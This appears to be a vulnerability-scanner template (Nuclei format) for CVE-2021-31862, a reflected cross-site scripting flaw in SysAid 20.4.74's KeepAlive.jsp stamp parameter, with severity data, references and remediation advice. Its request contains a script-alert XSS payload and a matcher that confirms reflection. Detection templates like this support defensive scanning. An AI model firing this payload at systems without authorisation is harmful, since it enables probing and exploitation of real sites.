2022-01-07 07:58:38 +00:00
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id: CVE-2021-31862
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info:
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2022-08-29 13:55:23 +00:00
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name: SysAid 20.4.74 - Cross-Site Scripting
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2022-01-07 07:58:38 +00:00
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author: jas37
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severity: medium
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2022-08-29 13:55:23 +00:00
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description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
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2023-09-06 12:09:01 +00:00
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remediation: |
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Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
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2022-01-07 07:58:38 +00:00
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reference:
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- https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
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2022-05-17 09:18:12 +00:00
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- https://www.sysaid.com/product/on-premise/latest-release
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2022-08-29 13:55:23 +00:00
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31862
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2022-01-07 07:58:38 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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2022-04-22 10:38:41 +00:00
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cvss-score: 6.1
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2022-01-07 07:58:38 +00:00
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cve-id: CVE-2021-31862
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cwe-id: CWE-79
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2023-08-31 11:46:18 +00:00
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epss-score: 0.00141
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epss-percentile: 0.49175
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2023-09-06 12:09:01 +00:00
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cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
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2023-04-28 08:11:21 +00:00
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metadata:
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max-request: 1
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2023-07-11 19:49:27 +00:00
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vendor: sysaid
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product: sysaid
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tags: cve,cve2021,xss,sysaid
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2022-01-07 07:58:38 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2022-01-07 07:58:38 +00:00
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- method: GET
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path:
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- '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'
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matchers:
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- type: dsl
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dsl:
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- '(body == "false <script>alert(document.domain)</script>")'
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- 'status_code == 200'
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2022-08-29 13:55:23 +00:00
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condition: and
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